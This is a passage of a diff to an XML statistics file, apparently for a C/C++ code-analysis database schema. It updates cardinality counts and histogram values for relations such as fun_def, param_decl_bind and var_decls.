+                    <v>3461324</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -14063,7 +14088,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5131684</v>
+                                    <v>5096962</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14079,12 +14104,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5126492</v>
+                                    <v>5091787</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>5192</v>
+                                    <v>5174</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14100,7 +14125,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5131684</v>
+                                    <v>5096962</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14116,7 +14141,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5131684</v>
+                                    <v>5096962</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14132,17 +14157,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4172561</v>
+                                    <v>4141075</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>364391</v>
+                                    <v>363161</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>7</b>
-                                    <v>74577</v>
+                                    <v>74325</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14158,12 +14183,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4569521</v>
+                                    <v>4536696</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>5</b>
-                                    <v>42008</v>
+                                    <v>41867</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14179,7 +14204,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4611530</v>
+                                    <v>4578563</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14195,17 +14220,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4229674</v>
+                                    <v>4197996</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>380439</v>
+                                    <v>379155</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>1416</v>
+                                    <v>1411</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14221,22 +14246,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>447464</v>
+                                    <v>445954</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>462097</v>
+                                    <v>453481</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>9</b>
-                                    <v>79769</v>
+                                    <v>79500</v>
                                 </b>
                                 <b>
                                     <a>9</a>
-                                    <b>2775</b>
-                                    <v>34456</v>
+                                    <b>2768</b>
+                                    <v>34340</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14252,22 +14277,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>532426</v>
+                                    <v>530629</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>390351</v>
+                                    <v>381978</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>11</b>
-                                    <v>77409</v>
+                                    <v>77148</v>
                                 </b>
                                 <b>
                                     <a>11</a>
-                                    <b>2484</b>
-                                    <v>23600</v>
+                                    <b>2477</b>
+                                    <v>23520</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14283,17 +14308,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>893985</v>
+                                    <v>883912</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>5</b>
-                                    <v>90625</v>
+                                    <v>90319</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>824</b>
-                                    <v>39176</v>
+                                    <b>822</b>
+                                    <v>39044</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14309,22 +14334,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>789199</v>
+                                    <v>779480</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>133578</v>
+                                    <v>133127</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>11</b>
-                                    <v>78353</v>
+                                    <v>78089</v>
                                 </b>
                                 <b>
                                     <a>11</a>
-                                    <b>2032</b>
-                                    <v>22656</v>
+                                    <b>2030</b>
+                                    <v>22579</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14340,27 +14365,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1250824</v>
+                                    <v>1245192</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>269517</v>
+                                    <v>269548</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>80713</v>
+                                    <v>80441</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>139714</v>
+                                    <v>138772</v>
                                 </b>
                                 <b>
                                     <a>6</a>
-                                    <b>1788</b>
-                                    <v>102426</v>
+                                    <b>1758</b>
+                                    <v>102080</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14376,22 +14401,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1432076</v>
+                                    <v>1425832</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>152930</v>
+                                    <v>153355</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>146322</v>
+                                    <v>145358</v>
                                 </b>
                                 <b>
                                     <a>5</a>
-                                    <b>1738</b>
-                                    <v>111866</v>
+                                    <b>1708</b>
+                                    <v>111488</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14407,17 +14432,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1622295</v>
+                                    <v>1615880</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>135466</v>
+                                    <v>135009</v>
                                 </b>
                                 <b>
                                     <a>4</a>
-                                    <b>969</b>
-                                    <v>85433</v>
+                                    <b>954</b>
+                                    <v>85145</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14433,27 +14458,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1272064</v>
+                                    <v>1266831</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>297365</v>
+                                    <v>296362</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>79769</v>
+                                    <v>79500</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>8</b>
-                                    <v>139714</v>
+                                    <v>139243</v>
                                 </b>
                                 <b>
                                     <a>8</a>
-                                    <b>666</b>
-                                    <v>54281</v>
+                                    <b>664</b>
+                                    <v>54097</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14469,17 +14494,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3005754</v>
+                                    <v>2995611</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>304445</v>
+                                    <v>302007</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>55</b>
-                                    <v>163787</v>
+                                    <v>163704</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14495,17 +14520,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3073724</v>
+                                    <v>3063351</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>6</b>
-                                    <v>270933</v>
+                                    <v>268607</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>55</b>
-                                    <v>129330</v>
+                                    <v>129364</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14521,12 +14546,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3256863</v>
+                                    <v>3245873</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>27</b>
-                                    <v>217124</v>
+                                    <v>215450</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14542,12 +14567,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>3296512</v>
+                                    <v>3285388</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>13</b>
-                                    <v>177475</v>
+                                    <v>175935</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14557,22 +14582,22 @@
         </relation>
         <relation>
             <name>fun_def</name>
-            <cardinality>1970638</cardinality>
+            <cardinality>1963988</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1970638</v>
+                    <v>1963988</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>fun_specialized</name>
-            <cardinality>26432</cardinality>
+            <cardinality>26343</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>26432</v>
+                    <v>26343</v>
                 </e>
             </columnsizes>
             <dependencies/>
@@ -14590,15 +14615,15 @@
         </relation>
         <relation>
             <name>fun_decl_specifiers</name>
-            <cardinality>2947225</cardinality>
+            <cardinality>2937280</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>1716697</v>
+                    <v>1710904</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>2832</v>
+                    <v>2822</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -14612,17 +14637,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>505049</v>
+                                    <v>503345</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1192767</v>
+                                    <v>1188742</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>18880</v>
+                                    <v>18816</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14638,32 +14663,32 @@
                                 <b>
                                     <a>50</a>
                                     <b>51</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>203</a>
                                     <b>204</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>209</a>
                                     <b>210</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>657</a>
                                     <b>658</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>2561</a>
                                     <b>2562</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>2564</a>
                                     <b>2565</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14794,26 +14819,26 @@
         </relation>
         <relation>
             <name>fun_decl_empty_throws</name>
-            <cardinality>2002263</cardinality>
+            <cardinality>1978101</cardinality>
             <columnsizes>
                 <e>
                     <k>fun_decl</k>
-                    <v>2002263</v>
+                    <v>1978101</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>fun_decl_noexcept</name>
-            <cardinality>61343</cardinality>
+            <cardinality>61207</cardinality>
             <columnsizes>
                 <e>
                     <k>fun_decl</k>
-                    <v>61343</v>
+                    <v>61207</v>
                 </e>
                 <e>
                     <k>constant</k>
-                    <v>61238</v>
+                    <v>61102</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -14827,7 +14852,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>61343</v>
+                                    <v>61207</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14843,12 +14868,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>61133</v>
+                                    <v>60998</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>105</v>
+                                    <v>104</v>
                                 </b>
                             </bs>
                         </hist>
@@ -14858,11 +14883,11 @@
         </relation>
         <relation>
             <name>fun_decl_empty_noexcept</name>
-            <cardinality>890209</cardinality>
+            <cardinality>888146</cardinality>
             <columnsizes>
                 <e>
                     <k>fun_decl</k>
-                    <v>890209</v>
+                    <v>888146</v>
                 </e>
             </columnsizes>
             <dependencies/>
@@ -14967,19 +14992,19 @@
         </relation>
         <relation>
             <name>param_decl_bind</name>
-            <cardinality>7511554</cardinality>
+            <cardinality>7472094</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>7511554</v>
+                    <v>7472094</v>
                 </e>
                 <e>
                     <k>index</k>
-                    <v>8024</v>
+                    <v>7997</v>
                 </e>
                 <e>
                     <k>fun_decl</k>
-                    <v>4315108</v>
+                    <v>4286434</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -14993,7 +15018,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7511554</v>
+                                    <v>7472094</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15009,7 +15034,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7511554</v>
+                                    <v>7472094</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15025,72 +15050,72 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>8</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>11</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>12</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>13</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                                 <b>
                                     <a>13</a>
                                     <b>14</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>25</a>
                                     <b>26</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>78</a>
                                     <b>79</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>245</a>
                                     <b>246</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>636</a>
                                     <b>637</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>1713</a>
                                     <b>1714</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>3991</a>
                                     <b>3992</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>9142</a>
-                                    <b>9143</b>
-                                    <v>472</v>
+                                    <a>9112</a>
+                                    <b>9113</b>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15106,72 +15131,72 @@
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>6</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>8</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>10</a>
                                     <b>11</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                                 <b>
                                     <a>11</a>
                                     <b>12</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>13</b>
-                                    <v>944</v>
+                                    <v>940</v>
                                 </b>
                                 <b>
                                     <a>13</a>
                                     <b>14</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>25</a>
                                     <b>26</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>78</a>
                                     <b>79</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>245</a>
                                     <b>246</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>636</a>
                                     <b>637</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>1713</a>
                                     <b>1714</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>3991</a>
                                     <b>3992</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
-                                    <a>9142</a>
-                                    <b>9143</b>
-                                    <v>472</v>
+                                    <a>9112</a>
+                                    <b>9113</b>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15187,22 +15212,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2431319</v>
+                                    <v>2409002</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1075237</v>
+                                    <v>1071608</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>508353</v>
+                                    <v>506638</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>18</b>
-                                    <v>300197</v>
+                                    <v>299184</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15218,22 +15243,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>2431319</v>
+                                    <v>2409002</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>1075237</v>
+                                    <v>1071608</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>508353</v>
+                                    <v>506638</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>18</b>
-                                    <v>300197</v>
+                                    <v>299184</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15243,27 +15268,27 @@
         </relation>
         <relation>
             <name>var_decls</name>
-            <cardinality>8655233</cardinality>
+            <cardinality>8611913</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>8586319</v>
+                    <v>8543232</v>
                 </e>
                 <e>
                     <k>variable</k>
-                    <v>7559699</v>
+                    <v>7520077</v>
                 </e>
                 <e>
                     <k>type_id</k>
-                    <v>2453031</v>
+                    <v>2430641</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>674973</v>
+                    <v>672695</v>
                 </e>
                 <e>
                     <k>location</k>
-                    <v>5383265</v>
+                    <v>5365099</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -15277,7 +15302,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8586319</v>
+                                    <v>8543232</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15293,12 +15318,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8517406</v>
+                                    <v>8474552</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>68913</v>
+                                    <v>68680</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15314,7 +15339,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8586319</v>
+                                    <v>8543232</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15330,7 +15355,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>8586319</v>
+                                    <v>8543232</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15346,17 +15371,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>6694978</v>
+                                    <v>6658274</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>709429</v>
+                                    <v>707035</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>7</b>
-                                    <v>155291</v>
+                                    <v>154767</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15372,12 +15397,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7386000</v>
+                                    <v>7346963</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>173699</v>
+                                    <v>173113</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15393,12 +15418,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7442169</v>
+                                    <v>7402943</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>117530</v>
+                                    <v>117133</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15414,12 +15439,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>7005089</v>
+                                    <v>6967337</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>4</b>
-                                    <v>554610</v>
+                                    <v>552739</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15435,27 +15460,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1525061</v>
+                                    <v>1505802</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>517794</v>
+                                    <v>516046</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>99121</v>
+                                    <v>98787</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>7</b>
-                                    <v>189275</v>
+                                    <v>188636</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>780</b>
-                                    <v>121778</v>
+                                    <v>121367</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15471,22 +15496,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1660056</v>
+                                    <v>1640342</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>492777</v>
+                                    <v>491114</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>7</b>
-                                    <v>188803</v>
+                                    <v>188166</v>
                                 </b>
                                 <b>
                                     <a>7</a>
                                     <b>742</b>
-                                    <v>111394</v>
+                                    <v>111018</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15502,17 +15527,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1939485</v>
+                                    <v>1918828</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>389879</v>
+                                    <v>388563</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>128</b>
-                                    <v>123666</v>
+                                    <v>123249</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15528,22 +15553,22 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>1763898</v>
+                                    <v>1743833</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>408287</v>
+                                    <v>406910</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>8</b>
-                                    <v>190691</v>
+                                    <v>190048</v>
                                 </b>
                                 <b>
                                     <a>8</a>
                                     <b>595</b>
-                                    <v>90153</v>
+                                    <v>89849</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15559,37 +15584,37 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>345038</v>
+                                    <v>343874</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>87793</v>
+                                    <v>87497</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>49088</v>
+                                    <v>48923</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>52393</v>
+                                    <v>52216</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>12</b>
-                                    <v>52865</v>
+                                    <v>52686</v>
                                 </b>
                                 <b>
                                     <a>12</a>
                                     <b>33</b>
-                                    <v>50976</v>
+                                    <v>50804</v>
                                 </b>
                                 <b>
                                     <a>34</a>
-                                    <b>3311</b>
-                                    <v>36816</v>
+                                    <b>3281</b>
+                                    <v>36692</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15605,37 +15630,37 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>372887</v>
+                                    <v>371628</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>78825</v>
+                                    <v>78559</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>4</b>
-                                    <v>45784</v>
+                                    <v>45630</v>
                                 </b>
                                 <b>
                                     <a>4</a>
                                     <b>6</b>
-                                    <v>50032</v>
+                                    <v>49864</v>
                                 </b>
                                 <b>
                                     <a>6</a>
                                     <b>14</b>
-                                    <v>53809</v>
+                                    <v>53627</v>
                                 </b>
                                 <b>
                                     <a>14</a>
                                     <b>56</b>
-                                    <v>51449</v>
+                                    <v>51275</v>
                                 </b>
                                 <b>
                                     <a>56</a>
-                                    <b>3228</b>
-                                    <v>22184</v>
+                                    <b>3198</b>
+                                    <v>22109</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15651,27 +15676,27 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>462097</v>
+                                    <v>460537</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>94873</v>
+                                    <v>94553</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>47200</v>
+                                    <v>47041</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>19</b>
-                                    <v>51449</v>
+                                    <v>51275</v>
                                 </b>
                                 <b>
                                     <a>19</a>
-                                    <b>2009</b>
-                                    <v>19352</v>
+                                    <b>1979</b>
+                                    <v>19287</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15687,32 +15712,32 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>383271</v>
+                                    <v>381978</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>91569</v>
+                                    <v>91260</v>
                                 </b>
                                 <b>
                                     <a>3</a>
                                     <b>5</b>
-                                    <v>60417</v>
+                                    <v>60213</v>
                                 </b>
                                 <b>
                                     <a>5</a>
                                     <b>9</b>
-                                    <v>51921</v>
+                                    <v>51745</v>
                                 </b>
                                 <b>
                                     <a>9</a>
                                     <b>21</b>
-                                    <v>50976</v>
+                                    <v>50804</v>
                                 </b>
                                 <b>
                                     <a>21</a>
                                     <b>1020</b>
-                                    <v>36816</v>
+                                    <v>36692</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15728,17 +15753,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4551113</v>
+                                    <v>4535755</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>3</b>
-                                    <v>552250</v>
+                                    <v>550387</v>
                                 </b>
                                 <b>
                                     <a>3</a>
-                                    <b>1813</b>
-                                    <v>279901</v>
+                                    <b>1783</b>
+                                    <v>278956</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15754,17 +15779,17 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>4956568</v>
+                                    <v>4939842</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>17</b>
-                                    <v>415840</v>
+                                    <v>414436</v>
                                 </b>
                                 <b>
                                     <a>17</a>
-                                    <b>1809</b>
-                                    <v>10856</v>
+                                    <b>1779</b>
+                                    <v>10819</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15780,12 +15805,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5033506</v>
+                                    <v>5016520</v>
                                 </b>
                                 <b>
                                     <a>2</a>
-                                    <b>1591</b>
-                                    <v>349758</v>
+                                    <b>1561</b>
+                                    <v>348578</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15801,12 +15826,12 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>5379017</v>
+                                    <v>5360865</v>
                                 </b>
                                 <b>
                                     <a>2</a>
                                     <b>24</b>
-                                    <v>4248</v>
+                                    <v>4233</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15816,26 +15841,26 @@
         </relation>
         <relation>
             <name>var_def</name>
-            <cardinality>4097512</cardinality>
+            <cardinality>4083685</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>4097512</v>
+                    <v>4083685</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>var_decl_specifiers</name>
-            <cardinality>336070</cardinality>
+            <cardinality>334936</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>336070</v>
+                    <v>334936</v>
                 </e>
                 <e>
                     <k>name</k>
-                    <v>1416</v>
+                    <v>1411</v>
                 </e>
             </columnsizes>
             <dependencies>
@@ -15849,7 +15874,7 @@
                                 <b>
                                     <a>1</a>
                                     <b>2</b>
-                                    <v>336070</v>
+                                    <v>334936</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15865,17 +15890,17 @@
                                 <b>
                                     <a>15</a>
                                     <b>16</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>66</a>
                                     <b>67</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                                 <b>
                                     <a>631</a>
                                     <b>632</b>
-                                    <v>472</v>
+                                    <v>470</v>
                                 </b>
                             </bs>
                         </hist>
@@ -15885,30 +15910,30 @@
         </relation>
         <relation>
             <name>is_structured_binding</name>
-            <cardinality>10</cardinality>
+            <cardinality>18</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
-                    <v>10</v>
+                    <v>18</v>
                 </e>
             </columnsizes>
             <dependencies/>
         </relation>
         <relation>
             <name>type_decls</name>
-            <cardinality>3292736</cardinality>
+            <cardinality>3283977</cardinality>
             <columnsizes>
                 <e>
                     <k>id</k>
